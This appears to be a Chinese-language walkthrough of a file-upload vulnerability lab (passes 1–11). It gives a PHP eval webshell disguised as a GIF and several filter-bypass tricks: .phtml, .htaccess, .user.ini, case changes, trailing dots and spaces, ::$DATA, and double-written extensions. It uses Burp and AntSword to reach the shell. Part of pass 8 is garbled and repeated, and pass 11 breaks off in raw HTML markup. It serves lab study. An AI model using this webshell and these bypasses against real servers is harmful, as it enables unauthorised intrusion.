前端校驗繞過:pass 01 兩種思路:1.通過抓包,修改后綴 2.前端禁用js繞過前端后綴檢驗 首先寫一個木馬,改為圖片格式GIF89a<?php eval($_POST['cmd'])?>
抓包之后改為PHP格式: 使用蟻劍連接木馬,第一次嘗試一直是返回數據為空,原因是沒有鏈接到木馬,于是尋找木馬地址,在抓包返回的頁面里,查看js源碼得到木馬地址, 連接成功可以進入后臺: 后臺:(后面不再顯示) 前端繞過:pass 02 1. 可以看到源碼僅僅對文件的后綴名進行了檢驗:if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
,因此做法同第一題所述方法一致,不再演示: 前端后綴名繞過:pass 03: 1. 第三關增加了對于上傳的圖片文件的后綴檢查,如果是php asp等均不可行,但是由于phtml也可以服務器正確解析為PHP,于是乎,可以利用phtml進行繞過,上傳文件操作與之前類似,只需要將后綴改為phtml即可 pass 04:通過htacess文件使得png文件被解析為PHP文件: 首先上傳木馬,通過bp修改后綴,上傳圖片馬 上傳htacess配置文件,同樣首先是將png后綴改為正常后綴,返回,使用蟻劍 鏈接木馬得到: pass 05:大小寫繞過 可以看到這道題的源碼里面過濾了很多組合,但是沒有過過濾純大寫組合,于是可以通過PHP后綴來繞過: 通過bp抓包,將后綴改為PHP,于是可以看到成功上傳,但是這里的地址注意,后端重新改寫了文件的地址,要通過查看文件內容查看: 通過蟻劍進行連接: pass 06:空格繞過: 這里將大小寫過濾了,那就不能通過大小寫過濾了, 于是想想其他方法,試試user.ini 文件:先上傳一個user.ini文件修改后綴png為正常后綴在,上傳一個圖片馬: 接下來查看上傳圖片馬的位置: 通過蟻劍進行訪問:這里沒有成功,也就跟換方法,查看這一關的代碼與上一關進行對比,發現少了一個去空格處理,那么我們就可以通過在文件后綴名添加空格進行解決:(不要直接修改文件后綴名,系統會自動去除,要在bp里面去除): 后面通過蟻劍連接即可 pass 07:.繞過過濾 觀察源碼可以發現,這里沒有對點號進行刪除,那么只需要在文件末尾加點號即可繞過: 進入后臺: pass 08:::$DATA 拓展名繞過 分析代碼,發現少了一行: 沒有:$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
,由于這個::DATA是一個特殊字段,通常可以通過添加在文件拓展名后面,繞過對文件拓展名的檢驗:‘??在windows環境下,不光會自動去除文件末尾的點和空格,同時(::DATA是一個特殊字段,通常可以通過添加在文件拓展名后面,繞過對文件拓展名的檢驗:`**在windows環境下,不光會自動去除文件末尾的點和空格,同時(:: D A T A 是一個特殊字段,通常可以通過添加在文件拓展名后面,繞過對文件拓展名的檢驗: ‘ ? ? 在 w in d o w s 環境下,不光會自動去除文件末尾的點和空格,同時 ( :: DATA)這個字符串,windows也會認為是非法字符,默認去除掉,即直接原名php**`**,**那么就可以通過bp抓包添加后綴::$DATA來解決, 之后連接直接去除后綴即可: pass 09:代碼審計 由于這里只過濾一次點號,那么就可以使用兩個.來進行繞過:由于刪除.之后,還會對點號后的后綴內容進行檢驗,于是我們在最后一個添加的點號那里進行添加空格,再加一個點號就可以繞過:于是將bp抓包,后綴修改為:PHP. .
后面蟻劍連接即可 pass 10: 核心漏洞 這里就可以通過雙寫繞過:于是可以通過bp修改后綴為pphphp,得到10.php: 蟻劍連接: pass 11: 漏洞描述:白名單過濾,文件保存目錄可控 核心代碼
if ( isset ( $_POST [ 'submit' ] ) ) { $ext_arr = array ( 'jpg' , 'png' , 'gif' ) ; $file_ext = substr ( $_FILES [ 'upload_file' ] [ 'name' ] , strrpos ( $_FILES [ 'upload_file' ] [ 'name' ] , "." ) + 1 ) ; if ( in_array ( $file_ext , $ext_arr ) ) { $temp_file = $_FILES [ 'upload_file' ] [ 'tmp_name' ] ; $img_path = $_GET [ 'save_path' ] . "/" . rand ( 10 , 99 ) . date ( "YmdHis" ) . "." . $file_ext ; if ( move_uploaded_file ( $temp_file , $img_path ) ) { $is_upload = true ; } else { $msg = '上傳出錯!' ; }
2. 逐句解析:`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$ext_arr</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(215, 58, 73);background-color:rgb(250, 250, 250);">array</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'jpg'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'png'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'gif'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">);</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">這里設置白名單,表示后綴允許的范圍,</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">substr</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_FILES</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'upload_file'</font><fon